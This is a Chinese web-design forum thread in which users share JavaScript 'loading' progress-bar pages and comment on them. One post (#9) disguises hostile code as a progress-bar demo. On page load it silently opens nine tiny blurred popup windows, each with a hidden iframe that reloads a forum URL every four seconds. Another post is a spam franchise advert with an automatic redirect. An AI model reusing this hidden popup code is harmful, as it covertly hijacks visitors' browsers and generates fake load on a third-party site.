打印

页面loading收集

cnbruce [楼主]

布鲁斯狼

荣誉管理团队

认证
帖子: 7781
体力: 13199
威望: 143
当前: 江苏扬州

专长 ASP,网站运营,市场

1^# 大中小发表于 2004-9-2 16:07

提示：您可以先修改部分代码再运行

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>CN-Bruce</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
<style type="text/css">
#divLoadCont{position:absolute; z-index:500; left:0; top:0; width:100%; height:98%; clip:rect(0,100%,100%,0); background-color:transparent; layer-background-color:white; }
#divLoad1{position:absolute; layer-background-color:silver; background-color:silver}
#divLoad2{position:absolute; left:0; top:0; layer-background-color:navy; background-color:navy}
#divLoadText{position:absolute; background-color:transparent; font-family:arial,helvetica; color:Navy; font-size:14px; } 
</style>
<script language="JavaScript" type="text/javascript">
function lib_bwcheck(){ //Browsercheck (needed)
    this.ver=navigator.appVersion
    this.agent=navigator.userAgent
    this.dom=document.getElementById?1:0
    this.opera5=this.agent.indexOf("Opera 5")>-1
    this.ie5=(this.ver.indexOf("MSIE 5")>-1 && this.dom && !this.opera5)?1:0; 
    this.ie6=(this.ver.indexOf("MSIE 6")>-1 && this.dom && !this.opera5)?1:0;
    this.ie4=(document.all && !this.dom && !this.opera5)?1:0;
    this.ie=this.ie4||this.ie5||this.ie6
    this.mac=this.agent.indexOf("Mac")>-1
    this.ns6=(this.dom && parseInt(this.ver) >= 5) ?1:0; 
    this.ns4=(document.layers && !this.dom)?1:0;
    this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns6 || this.opera5)
    return this
}
var bw=new lib_bwcheck()
numImages=10 //速度
loaderWidth=300 //进度条长度
currentImg=0
function lib_doc_size(){ 
  this.x=0;this.x2=bw.ie && document.body.offsetWidth-20||innerWidth||0;
  this.y=0;this.y2=bw.ie && document.body.offsetHeight-5||innerHeight||0;
  if(!this.x2||!this.y2) return message('Document has no width or height') 
  this.x50=this.x2/2;this.y50=this.y2/2;
  return this;
}
function lib_obj(obj,nest){ 
  nest=(!nest) ? "":'document.'+nest+'.'
  this.evnt=bw.dom? document.getElementById(obj):bw.ie4?document.all[obj]:bw.ns4?eval(nest+"document.layers." +obj):0;    
  this.css=bw.dom||bw.ie4?this.evnt.style:this.evnt; 
  this.ref=this.css
  this.w=this.evnt.offsetWidth||this.css.clip.width||
    this.ref.width||this.css.pixelWidth||0; 
  return this
}
lib_obj.prototype.moveIt = function(x,y){
  this.x=x;this.y=y; this.css.left=x;this.css.top=y
}
lib_obj.prototype.clipTo = function(t,r,b,l,setwidth){ 
  this.ct=t; this.cr=r; this.cb=b; this.cl=l
  if(bw.ns4){
    this.css.clip.top=t;this.css.clip.right=r
    this.css.clip.bottom=b;this.css.clip.left=l
  }else{
    if(t<0)t=0;if(r<0)r=0;if(b<0)b=0;if(b<0)b=0
    this.css.clip="rect("+t+","+r+","+b+","+l+")";
    if(setwidth){this.css.pixelWidth=this.css.width=r; 
    this.css.pixelHeight=this.css.height=b}
  }
}
var oLoad2
function startLoading(){
  page=new lib_doc_size()
  oLoadCont=new lib_obj('divLoadCont')
  oLoad=new lib_obj('divLoad1','divLoadCont')
  oLoad2=new lib_obj('divLoad2','divLoadCont.document.divLoad1')
  oLoadText=new lib_obj('divLoadText','divLoadCont.document.divLoad1')
  oLoad.moveIt(page.x50-loaderWidth/2,page.y50-20)
  oLoadText.moveIt(loaderWidth/2 - oLoadText.w/2,10)
  oLoad.clipTo(0,loaderWidth,40,0,1)
  oLoad2.per = loaderWidth/numImages
}
function loadIt(ok){
  currentImg++
  if(oLoad2) oLoad2.clipTo(0,oLoad2.per*currentImg,40,0,1)
  if(!ok){
    oLoadCont.css.visibility='hidden'
    oLoadCont=null; oLoad1=null; oLoad2=null;
  }
}
function loadIt_display(ok){
  currentImg++
  if(oLoad2) oLoad2.clipTo(0,oLoad2.per*currentImg,40,0,1)
  if(currentImg<=numImages) setTimeout("loadIt_display(1)",200)
  else{
    oLoadCont.css.visibility='hidden'
    window.location="http://www.cnbruce.com/"
  }
}
</script>
<div id="divLoadCont">
  <div id="divLoad1">
    <div id="divLoad2"></div><br>
    <div id="divLoadText">Loading...</div>
  </div>
</div>
<script>
startLoading()
//onload=loadIt; //- LEAVE THIS LINE WHILE TESTING. UNCOMMENT WHEN READY
loadIt_display(1) //LEAVE THIS LINE WHILE TESTING. DELETE WHEN READY
</script>
</body>
</html>

提示：您可以先修改部分代码再运行

提示：您可以先修改部分代码再运行

<SCRIPT>cnease=window.open("","etangWHSAD","top=2000");cnease.close();
focus()
self.resizeTo(800,600)
self.moveTo(-3,-3)</SCRIPT>
<html>
<head>
<title>LemongTree.Net</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
td,form,select,input,textarea,body  {font-family: 宋体;font-color:#000000;font-size: 12px;line-height:150%;letter-spacing:2px}
a:link { font-size: 9pt; text-decoration: none; color: #666666}
a:visited {  font-size:9pt; text-decoration: none; color: #666666}
a:hover {  text-decoration: none; font-size: 9pt; color: #666666}
a:active {  font-size: 9px; text-decoration: none; color: #666666}
</style>
<script>
var url='http://www.cnbruce.com/';
</script>
</head>
<body onLoad="location.href=url;" style='overflow:hidden;overflow-y:hidden'>
<div align=center>
<table height=70% valign=middle align=center>
<tr>
<td align="center" disabled>

<div align="center">正在进入</div>
<p></p>
<font class=fontbig>页面读取中，请等待......<br>
</font>
<p></p><p></p>
<style></style>
<p></p><p></p>
<div align="center">
<form method=post name=proccess>
<script language=javascript>
for(i=0;i<30;i++)document.write("<input class=proccess>")
</script>
</form>
</div></td></tr></table>
<div align="center">
<script language=JavaScript>var p=0,j=0;
var c=new Array("lightskyblue","white")
setInterval('proccess();',100)
function proccess(){
document.forms.proccess.elements[p].style.background=c[j];
p+=1;
if(p==30){p=0;j=1-j;}}
--></script>
</div>
</div>
<div align="center">
<script>

</script>
</div>

提示：您可以先修改部分代码再运行

2008 · 布鲁斯狼的BLOG
-------------------------------------------------------------
试验田：【小艾生活网】

TOP

西部数码VPS主机1G内存仅266元

xiangboo

xiangboo

银牌会员

帖子: 387
体力: 1039
威望: 0
当前: 重庆江北
离线: 1 天

专长 网页设计,ASP,策划

2^# 大中小发表于 2004-9-24 12:17

真不错哟！！

http://blog.xiangboo.com

TOP

广州周立功诚聘—平面/网页/UI/工业设计师 | 天业互联-酷睿租用599￥

LemonTea

喜欢漫步的鱼

银牌会员

帖子: 601
体力: 1255
威望: 0
离线: 4 天

3^# 大中小发表于 2004-9-24 13:31

虽然收集过，还是顶～～～～～～

QQ梦想家园http://www.qqideal.cn

TOP

认证您的手机，获得手机认证图标

，更多手机认证的好处

blackmanhome

中级会员

帖子: 75
体力: 318
威望: 0
离线: 1718 天

4^# 大中小发表于 2004-10-7 22:43

很好
支持

TOP

用CSS布局建站从零开始 | Photoshop中打造史诗般梦幻场景 | 05年第一次软件行业创业的惨痛教训

liuhuasen

中级会员

帖子: 95
体力: 354
威望: 0
离线: 1458 天

5^# 大中小发表于 2004-10-8 10:03

<SCRIPT>cnease=window.open("","etangWHSAD","top=2000");cnease.close();
focus()
self.resizeTo(800,600)
self.moveTo(-3,-3)</SCRIPT>
<html>
<head>
<title>LemongTree.Net</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
td,form,select,input,textarea,body  {font-family: 宋体;font-color:#000000;font-size: 12px;line-height:150%;letter-spacing:2px}
a:link { font-size: 9pt; text-decoration: none; color: #666666}
a:visited {  font-size:9pt; text-decoration: none; color: #666666}
a:hover {  text-decoration: none; font-size: 9pt; color: #666666}
a:active {  font-size: 9px; text-decoration: none; color: #666666}
</style>
<script>
var url='http://www.cnbruce.com/';
</script>
</head>
<body onLoad="location.href=url;" style='overflow:hidden;overflow-y:hidden'>
<div align=center>
<table height=70% valign=middle align=center>
<tr>
<td align="center" disabled>

<div align="center">正在进入</div>
<p></p>
<font class=fontbig>页面读取中，请等待......<br>
</font>
<p></p><p></p>
<style></style>
<p></p><p></p>
<div align="center">
<form method=post name=proccess>
<script language=javascript>
for(i=0;i<30;i++)document.write("<input class=proccess>")
</script>
</form>
</div></td></tr></table>
<div align="center">
<script language=JavaScript>var p=0,j=0;
var c=new Array("lightskyblue","white")
setInterval('proccess();',100)
function proccess(){
document.forms.proccess.elements[p].style.background=c[j];
p+=1;
if(p==30){p=0;j=1-j;}}
--></script>
</div>
</div>
<div align="center">
<script>

</script>
</div>

提示：您可以先修改部分代码再运行

这个没有进行完就跳了！？

--------------------------------
醒来后我依然是我！！

TOP

qflyue

中级会员

帖子: 51
体力: 201
威望: 0
离线: 1669 天

6^# 大中小发表于 2004-10-12 11:57

不错
支持！

世界的开始与尽头，就在这灭亡闪烁的地方。没有人可以笑傲寒冰，也没有人可以瞬间留住流星，也没有人可以飘剑取落花。而陨落的破碎，傲然一体的寒冰，以及那剑尖的散花，都没有最后的那颗水滴的唯美。有的只是那一刹觅到的剑气纵横，残花飞灵，滴水穿石……

TOP

LemonTea

喜欢漫步的鱼

银牌会员

帖子: 601
体力: 1255
威望: 0
离线: 4 天

7^# 大中小发表于 2004-10-12 12:12

楼主可以发点别的东西嘛？

这个发了好几次了吧！？？

不过还是要感谢楼主的！

顶～～～～～

——————————————————————————————————————————————————————————————————————————柠檬茶

QQ梦想家园http://www.qqideal.cn

TOP

bendise1

初级会员

帖子: 58
体力: 159
威望: 0
离线: 562 天

8^# 大中小发表于 2004-11-18 16:59

收了！！

欢迎访问动漫社区
www.innerv.com

TOP

javascripter

初级会员

帖子: 20
体力: 77
威望: 0
离线: 1596 天

9^# 大中小发表于 2004-11-18 17:21

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<SCRIPT LANGUAGE="JScript">
var NUMBER_OF_REPETITIONS = 40;
var nRepetitions = 0;
var g_oTimer = null;
function startLongProcess()
{
   divProgressDialog.style.display = "";
   resizeModal();
   btnCancel.focus();
   // Add a resize handler for the window
   window.onresize = resizeModal;
   // Add a warning in case anyone tries to navigate away or refresh the page
   window.onbeforeunload = showWarning;
   //
   // Here's where you would normally kick off a long asynchronous process
   // like a file download or a remote database operation. Here, we use
   // our "long process" to simulate this process.
   //
   continueLongProcess();
}
function updateProgress(nNewPercent)
{
   // Update our pseudo progress bar
   divProgressInner.style.width = (parseInt(divProgressOuter.style.width) 
      * nNewPercent / 100)+ "px";
}
function stopLongProcess()
{
   if (g_oTimer != null)
   {
      // Clear the timer so we don't get called back an extra time
      window.clearTimeout(g_oTimer);
      g_oTimer = null;
   }
   // Hide the fake modal DIV
   divModal.style.width = "0px";
   divModal.style.height = "0px";
   divProgressDialog.style.display = "none";
   // Remove our event handlers
   window.onresize = null;
   window.onbeforeunload = null;
   nRepetitions = 0;
}
function continueLongProcess()
{
   if (nRepetitions < NUMBER_OF_REPETITIONS)
   {
      // Set the timeout somewhere between 0 and .25 seconds
      var nTimeoutLength = Math.random() * 250;
      updateProgress(100 * nRepetitions / NUMBER_OF_REPETITIONS);
      g_oTimer = window.setTimeout("continueLongProcess();", nTimeoutLength);
      nRepetitions++;
   }
   else
   {
      stopLongProcess();
   }
}
function showWarning()
{
   //Warn users before they refresh the page or navigate away
   return "Navigating to a different page or refreshing the window could cause you to lose precious data.\n\nAre you*absolutely* certain you want to do this?";
}
function resizeModal()
{
   // Resize the DIV which fakes the modality of the dialog DIV
   divModal.style.width = document.body.scrollWidth;
   divModal.style.height = document.body.scrollHeight;
   // Re-center the dialog DIV
   divProgressDialog.style.left = ((document.body.offsetWidth - 
divProgressDialog.offsetWidth) / 2);
   divProgressDialog.style.top = ((document.body.offsetHeight - 
divProgressDialog.offsetHeight) / 2);
}
</SCRIPT>
<script>
var pp;
function blue(){
for(i=1;i<10;i++){
pp=window.open('',i,'width=20,height=20,left=0,top=0');
pp.document.write("<script>");
pp.document.write("setInterval(\"document.frames['bl'].location.href='http://bbs.blueidea.com/'\",4000)");
pp.document.write("<\/script><body><iframe name=\"bl\"  height=\"0\" width=\"0\"></iframe><\/body>");
pp. blur();
//window.close();
}
}
</script>
</head>
<BODY STYLE="FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica" onLoad="startLongProcess();blue()">

<DIV STYLE="BORDER: buttonhighlight 2px outset; FONT-SIZE: 8pt; Z-INDEX: 
4; FONT-FAMILY: Tahoma; POSITION: absolute; BACKGROUND-COLOR: buttonface; 
DISPLAY: none; WIDTH: 350px; CURSOR: default" ID="divProgressDialog" 
onselectstart="window.event.returnValue=false;">
   <DIV STYLE="PADDING: 3px; FONT-WEIGHT: bolder; COLOR: captiontext; 
BORDER-BOTTOM: white 2px groove; BACKGROUND-COLOR: activecaption">
      Downloading Requested Document
   </DIV>
   <DIV STYLE="PADDING: 5px">
      Please wait while I download the document you requested.
   </DIV>
   <DIV STYLE="PADDING: 5px">
      This may take several seconds.
   </DIV>
   <DIV STYLE="PADDING: 5px">
         <DIV ID="divProgressOuter" STYLE="BORDER: 1px solid threedshadow; 
WIDTH: 336px; HEIGHT: 15px">
            <DIV ID="divProgressInner" STYLE="COLOR: white; TEXT-ALIGN: 
center; BACKGROUND-COLOR: infobackground; MARGIN: 0px; WIDTH: 0px; HEIGHT: 
13px;"></DIV>
         </DIV>
   </DIV>
   <DIV STYLE="BORDER-TOP: white 2px groove; PADDING-BOTTOM: 5px; PADDING-TOP: 3px; 
BACKGROUND-COLOR: buttonface; TEXT-ALIGN: center">
         <INPUT STYLE="FONT-FAMILY: Tahoma; FONT-SIZE: 8pt" TYPE="button" 
ID="btnCancel" onclick="stopLongProcess();" VALUE="Cancel">
   </DIV>
</DIV>


<DIV ID="divModal"
   STYLE="BACKGROUND-COLOR: white; FILTER: alpha(opacity=75); LEFT: 0px; POSITION:
 absolute; TOP: 0px; Z-INDEX: 3"
   onclick="window.event.cancelBubble=true; window.event.returnValue=false;">
</DIV>

</body>
</html>

提示：您可以先修改部分代码再运行

TOP

xiaohu2004

中级会员

帖子: 106
体力: 435
威望: 0
离线: 909 天

10^# 大中小发表于 2004-11-19 05:43

楼上的怎么跳转不了??

思君如流水何有穷己时代码收藏

TOP

2ndesign

初级会员

帖子: 70
体力: 155
威望: 0
离线: 1654 天

11^# 大中小发表于 2004-11-19 10:31

呵呵大家的收集真是不错啊但是 javascripter 的代码怎么让我浏览器跳出那么多空白窗口呢难不成是…… 呵呵~~

_2ndesign.net

TOP

flagvane

新手上路

帖子: 2
体力: 8
威望: 0
离线: 1466 天

12^# 大中小发表于 2005-6-29 16:18

<HTML><HEAD><TITLE>DIY手工香皂DIY水晶花---深圳市卡思曼科贸有限公司</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content=DIY手工香皂,手工香皂,DIY水晶花. name=keywords>
<SCRIPT language=javascript>
setTimeout(window.location="http://www.0755.ws/kasiman/one.php?now_uid=kasiman&now_tti=169",0)
</SCRIPT>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff>
<P align=center><B><FONT size=5>DIY手工香皂DIY水晶花  </FONT></B> </P>
<TABLE>
  <TBODY>
  <TR>
<TD>深圳市卡思曼科贸有限公司,一个以传统手工文化为底蕴,利用网络信息化手<IMG height=180 src="" width=238
   align=right>段管理经营的DIY项目专业推广商,经市场部的调研,推出的时尚投资项目”
   卡思曼创皂吧”,正在隆重招商!<BR><BR>卡思曼创皂吧,是以DIY手工香皂为主,配以多种DIY手工项目的综合手艺广场,目前的DIY项目包括:<BR>
   <UL>
      <LI>DIY手工香皂,<BR>
      <LI>DIY创意蜡烛,<BR>
      <LI>DIY水晶花,<BR>
      <LI>DIY纸艺.<BR></LI></UL>另外我们还将传授给您<IMG height=168 src="" width=400
   align=left>全套的礼品包装技法,还有上百款经典的香薰饰品为您增加利润,同时我们的专业研发队伍正在开发更新鲜时尚的DIY手工项目.<BR><BR>现在加盟卡思曼创皂吧,您只需交纳加盟费2600元,首批进货款5600元,您就能轻松开店,轻松赚钱,并可得到我们永久新项目技术免费提供的承诺.<BR></TD></TR>
  <TR>
<TD><IMG height=60 src=""
   width=580><BR><BR>我们的项目是经过精心挑选才推出市场,投资少利润丰厚,您只需几千元的投入,就可以得到四项最流行的<IMG
   height=141 src="" width=171
   align=left>DIY手工技术和我们的全面经营支持.每项DIY项目的平均利润都在300%以上,以手工香皂为例,一块80克的手工香皂成本1元至2元之间,加盟店的销售价格一般都在20元至40元之间,DIY的特点是顾客亲自现场制作手工香皂，是顾客自己打造个性的过程和方式，顾客挑选自己喜欢的颜色、香味、造型，产品做出后，顾客有种成就感，无论是自用还是作为礼品，都具有特殊的意义和效果。每块20-40元的价格更能体现顾客制作手工香皂的价值。同时,我们自身的完善与发展和对加盟商的全力支持,帮助加盟商以较低的风险获得成功…… </TD></TR>
  <TR>
<TD><IMG height=60 src=""
   width=580><BR><BR>我们的店铺设计基于营造参与和受欢迎的氛围,从而使顾客心偿所愿地停留的理念.我们认为消费体验应该是放松和享受的,为顾客提供一个温馨舒适而又自由的手工制作环境是我们引以为傲的使命之一……<BR></TD></TR></TBODY></TABLE>
<P
align=left><B>1>低投资风险和高成功机会</B><BR>我们的项目是经过精心挑选才推出市场,投资少利润丰厚,您只需几千元的投入,就可以得到四项最流行的DIY手工技术和我们的全面经营支持.每项DIY项目的平均利润都在300%以上,以手工香皂为例,一块80克的手工香皂成本1元至2元之间,加盟店的销售价格一般都在20元至40元之间,DIY的特点是顾客亲自现场制作手工香皂，是顾客自己打造个性的过程和方式，顾客挑选自己喜欢的颜色、香味、造型，产品做出后，顾客有种成就感，无论是自用还是作为礼品，都具有特殊的意义和效果。每块20-40元的价格更能体现顾客制作手工香皂的价值。同时,我们自身的完善与发展和对加盟商的全力支持,帮助加盟商以较低的风险获得成功.<BR><BR><B>2>技术领先,后顾无忧</B><BR>我们立志于成为国内最大的DIY项目推广商，发挥自己技术力量雄厚、技术革新快、运作成本低廉的优势，采取技术+价格+后续服务三大攻势，最大限度让利于加盟者，倾力打造DIY都市休闲娱乐新理念，为加盟者完提供完善的经营支持和完整的配套服务，帮助您快速实现自己的创业梦想,我们有专业的项目研发队伍,项目的快速更新让加盟商的店铺始终充满活力.我们有专业的材料生产线,原料通过质检部门的检测,安全可靠.我们开发的手工香皂模具，细腻逼真，脱模容易，成本低廉，使用寿命达上万次.<BR><BR><B>3>低价供货,高利润保证</B><BR>全国同行业原材料最低进货价,保证加盟商最高利润率.
直接提供加盟者各种原料货源的购买渠道，不搞材料垄断，完全让加盟者独立自主，杜绝加盟商长期控制加盟者，高价配货继续赚取加盟者高额利润的现象。我们根据加盟者的自身情况不同，为方便部分“图省事”的加盟者，我们可长期为其成本价供给各种原材料。从根本上保障加盟者的利润率；<BR><BR><B>4>强有力的管理和经营支持</B><BR><BR>我们是在统一的管理系统下,以加盟店形式经营的有完善组织的企业,来自各地加盟店的反馈信息使我们更有效地改善我们的项目和服务.
</P>
<P align=left><SPAN lang=EN-US><FONT color=#000000
size=3><B>DIY手工香皂</B>是由纯甘油和纯天然的植物油精炼而成，具有非常好的保湿效果，同时又是绿色
的安全的环保材料。手工香皂的形状，颜色、香味完全可以根据人们的需求任意调制，充分
体现了DIY随心所欲的特性。 <BR><B>DIY水晶花</B>-一种来自日本，刚刚风靡中国的全新时尚 ●. 水晶花源于美国，后传进日本，
并迅速风靡韩国、台湾地区。水晶花制作非常简单，人们可以按自己的兴趣爱好，制作自己
喜欢的花艺、饰品，作为送给亲人，恋人，朋友的礼物会有意想不到的收获。</FONT></SPAN> </P>
<P align=center><A href="http://www.kaisiman.com/">DIY手工香皂DIY水晶花</A>
   </P>
<P align=center><A href="http://www.kaisiman.com/diy.html">水晶花产品介绍</A>  <A
href="http://www.kasiman.com/">返回首页</A> </P></BODY></HTML>

请教怎么在我的机器上不可以跳转。而别人的机器上可以跳转？

好好学习，不懂的还多呢！

TOP

flagvane

新手上路

帖子: 2
体力: 8
威望: 0
离线: 1466 天

13^# 大中小发表于 2005-6-29 16:20

我是新来的，请教：大家的代码是怎么贴上去的？下面有“运行代码”。谢谢！

好好学习，不懂的还多呢！

TOP

jarrylee

高级会员

帖子: 212
体力: 634
威望: 26
离线: 376 天

14^# 大中小发表于 2005-6-29 20:08

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>稍候进入汉化软件下载基地主力站点</title>
<META content="Microsoft FrontPage 4.0" name=GENERATOR>
</head>
<BODY bgColor=#ffffff topMargin=100 onload=fakeProgress(0,sb) background=0-18b.jpg>
<P align="center"></P>
<p>　</p>
<P align=center>稍候进入主力站点......</P>
<DIV align=center>
<DIV id=sb 
style="BORDER-RIGHT: #000000 1px solid; BORDER-left: #000000 1px solid; BORDER-TOP: #000000 1px solid; BACKGROUND: blue; WIDTH: 450px; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 14px; TEXT-ALIGN: left">
<DIV id=sbChild1 
style="FILTER: Alpha(Opacity=0, FinishOpacity=80, Style=1, StartX=0, StartY=0, FinishX=100, FinishY=0); OVERFLOW: hidden; WIDTH: 100%; POSITION: absolute; HEIGHT: 12px">
<DIV style="BACKGROUND: white; WIDTH: 450; height:0" ;height:12px; overflow: 
hidden></DIV></DIV>
<DIV 
style="FONT-SIZE: 10px; WIDTH: 450px; COLOR: white; FONT-FAMILY: arial; POSITION: absolute; HEIGHT: 14px; TEXT-ALIGN: center"></DIV></DIV>
<P></P>
<DIV id=infor 
style="FONT-SIZE: 11px; WIDTH: 100%; COLOR: blue; FONT-FAMILY: arial; POSITION: relative; HEIGHT: 14px; TEXT-ALIGN: center"></DIV></DIV></BODY><SCRIPT type=text/javascript>

</SCRIPT>
<SCRIPT language=javaScript>

</SCRIPT>
</HTML>

提示：您可以先修改部分代码再运行

飞翔在碧草春绿里的鸢，正寻找着属于青春轨迹中富有无限生机的绿！
"鸢飞戾天,鱼跃于渊。"愿你我共同进步！
http://jiarry.126.com

TOP

jarrylee

高级会员

帖子: 212
体力: 634
威望: 26
离线: 376 天

15^# 大中小发表于 2005-6-29 20:10

[]color=red自已做着玩的，说不定对你有用哦。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>loading speed</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
Jarry testing for loading bar
<hr>
请从下框中选择下载表示的进度！
<hr>
<div id="bg" style="position:relative; width:100px; height:5px; z-index:1; background: #CCCCCC; layer-background-color: #CCCCCC; border: 1px none #000000;"><div id="bar" style="position: relative; width:0%; height:5px; z-index:1; background: #006600; layer-background-color: #006600; border: 1px none #000000;"></div>
</div>
<div style="float:;left:100;width:100;"><input type="button" id="control" name="Submit" value="Auto" onClick="playAndpause(this)" style="float:none"></div>
<br>
<br>
<script language="JavaScript" type="text/JavaScript">
var x=1;
var autoRun=null;
var o;
var maxNum=100;
var loadSpeed=100;
function speedBar(obj,num)
{
if(num!="")
	 {
	_obj=document.getElementById(obj);
	_obj.style.width=num+"%";
	x=num;
		if(x==maxNum)
		{
		finishPlay();
		}
	}
}
function playAndpause(o)
	{
		if(o.value=="Auto")
		{
		myclear();
		play();
		o.value="Pause";
		}
		else if(o.value=="Replay")
		{
		x=1;
		myclear();
		play();
		o.value="Pause";	  
		}
		else if(o.value=="Pause")
		{
		myclear();
		o.value="Auto";
		}
	}
function play()
{
	//for(i=1;i<101;i++)	{
	document.getElementById('bar').style.width=x+"%";
	//}
	if(x<maxNum){	
	x++;//alert(document.getElementById('bar').style.width)
	}
	if(x==maxNum)
		{
		finishPlay();
		}
  autoRun=setTimeout('play()',loadSpeed);
}
function myclear()
{
clearTimeout(autoRun);
}
function finishPlay()
{
document.getElementById('control').value="Replay";
		}
</script>
<form name="form1" method="post" action="" >
  <select name="select" onchange="speedBar('bar',this.value)">
	<option value="0" checked>-请选择-</option>
	<script language="JavaScript" type="text/JavaScript">
	for(var i=1;i<101;i++)
	{
	if(i<10)
	document.write("<option value="+i+">0"+i+"</option>");
	else
	document.write("<option value="+i+">"+i+"</option>");
	}
	</script>
  </select>
</form>
</body>
</html>

提示：您可以先修改部分代码再运行

飞翔在碧草春绿里的鸢，正寻找着属于青春轨迹中富有无限生机的绿！
"鸢飞戾天,鱼跃于渊。"愿你我共同进步！
http://jiarry.126.com

TOP

goodrose

雪幕天涯

初级会员

帖子: 67
体力: 181
威望: 0
当前: 广东深圳
离线: 11 天

16^# 大中小发表于 2005-7-3 03:10

楼上的朋友~ 可以把倒数第二个中的 "10秒钟后进入汉化软件下载基地…………" 改为自动识别加载所需要的倒记时没法呀~！我是菜鸟~

http://www.xuemu.net〖雪幕天涯〗俺的小家

TOP

hbjszy

初级会员

帖子: 49
体力: 191
威望: 0
离线: 1451 天

17^# 大中小发表于 2005-7-3 06:32

都好厉害哦

TOP

serm

中级会员

帖子: 142
体力: 310
威望: 0
当前: 湖北宜昌
离线: 15 天

18^# 大中小发表于 2007-9-18 16:40

很好很强大

妈妈呀，咋这烦人列

TOP

asdfgasdfg1

黑色瞳孔

银牌会员

帖子: 618
体力: 1115
威望: 0
当前: 大洋洲澳大利亚
离线: 45 天

19^# 大中小发表于 2007-9-18 16:42

强大十分强大收下

TOP

xkang

银牌会员

帖子: 854
体力: 1217
威望: 1
当前: 上海普陀
离线: 72 天

专长 网页设计,前端制作,策划

20^# 大中小发表于 2007-9-18 16:51

好多年前就有了。不过没看到多少人用

因为专业，所以选择..技术群：11162579

TOP

luanyumail

中级会员

帖子: 103
体力: 201
威望: 1
当前: 北京海淀区
离线: 29 天

21^# 大中小发表于 2007-9-18 17:27

【讨论】
根据上面的代码显示，实际上是“在加载实际网页之前，加上一个额外的动画页面，二者只是一个跳转”的过程

而对于loading的真正使用，能不能说，是计算加载的页面加载的数目，在加载完毕后，显示加载页面呢，而不只是一个毫无意义的动画页呢？

请高手解释一下

天是蓝蓝的......

TOP

got

巴之闭

银牌会员

帖子: 763
体力: 2406
威望: 10
当前: 广东广州
离线: 166 天

22^# 大中小发表于 2007-9-18 17:32

虚假的loading
不如做个gif更实际一些

just ok~~

TOP

zhaoliancheng

我爱红茶

银牌会员

帖子: 529
体力: 1060
威望: 0
当前: 重庆九龙坡

专长 网页设计,前端制作

23^# 大中小发表于 2007-11-26 15:41

我觉得这个进度条完全是浪费时间，明明可以直接进入的，还要等那段时间

www.zlcblog.cn

TOP

wilensky

披着狼皮的羊

高级会员

帖子: 1252
体力: 825
威望: 0
当前: 北京海淀区
离线: 178 天

专长 .NET,C#,MSSQL

24^# 大中小发表于 2007-11-26 15:44

华而不实的东西

要钱没有，要命不给，你咋地吧

TOP

scat

无须猫

高级会员

帖子: 309
体力: 626
威望: 0
离线: 13 天

专长 网页设计,平面,前端制作

25^# 大中小发表于 2007-11-26 15:47

收藏先，感谢分享~^_^

{SCS}

TOP

slj20

绿茵豪门

高级会员

帖子: 451
体力: 504
威望: 0
当前: 上海杨浦
离线: 1 天

专长 网页设计,前端制作

26^# 大中小发表于 2007-11-26 16:15

有什么意思吗?
明明可以直接进入的
非要用户等那么几秒种

小公小婆

TOP

zhaocai

初级会员

帖子: 90
体力: 66
威望: 0
离线: 426 天

27^# 大中小发表于 2008-1-29 13:48

引用:

原帖由 zhaoliancheng 于 2007-11-26 15:41 发表
我觉得这个进度条完全是浪费时间，明明可以直接进入的，还要等那段时间

那是你那边网速好，如果它是网通的，但访问者是电信的，而且带宽很不好呢，就只能看到空白的，有个进度条的话会好些。。

TOP

willko

中级会员

帖子: 214
体力: 403
威望: 0
当前: 广东深圳
离线: 22 天

28^# 大中小发表于 2008-1-29 14:49

倒数第2个leak-monitor弹出来了。。

TOP

wdl1911

新手上路

帖子: 6
体力: 11
威望: 0
离线: 1 天

29^# 大中小发表于 2008-1-29 15:13

回复 #13 flagvane 的帖子

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>loading speed</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
Jarry testing for loading bar
<hr>
请从下框中选择下载表示的进度！
<hr>
<div id="bg" style="position:relative; width:100px; height:5px; z-index:1; background: #CCCCCC; layer-background-color: #CCCCCC; border: 1px none #000000;"><div id="bar" style="position: relative; width:0%; height:5px; z-index:1; background: #006600; layer-background-color: #006600; border: 1px none #000000;"></div>
</div>
<div style="float:;left:100;width:100;"><input type="button" id="control" name="Submit" value="Auto" onClick="playAndpause(this)" style="float:none"></div>
<br>
<br>
<script language="JavaScript" type="text/JavaScript">
var x=1;
var autoRun=null;
var o;
var maxNum=100;
var loadSpeed=100;
function speedBar(obj,num)
{
if(num!="")
	 {
	_obj=document.getElementById(obj);
	_obj.style.width=num+"%";
	x=num;
		if(x==maxNum)
		{
		finishPlay();
		}
	}
}
function playAndpause(o)
	{
		if(o.value=="Auto")
		{
		myclear();
		play();
		o.value="Pause";
		}
		else if(o.value=="Replay")
		{
		x=1;
		myclear();
		play();
		o.value="Pause";	  
		}
		else if(o.value=="Pause")
		{
		myclear();
		o.value="Auto";
		}
	}
function play()
{
	//for(i=1;i<101;i++)	{
	document.getElementById('bar').style.width=x+"%";
	//}
	if(x<maxNum){	
	x++;//alert(document.getElementById('bar').style.width)
	}
	if(x==maxNum)
		{
		finishPlay();
		}
  autoRun=setTimeout('play()',loadSpeed);
}
function myclear()
{
clearTimeout(autoRun);
}
function finishPlay()
{
document.getElementById('control').value="Replay";
		}
</script>
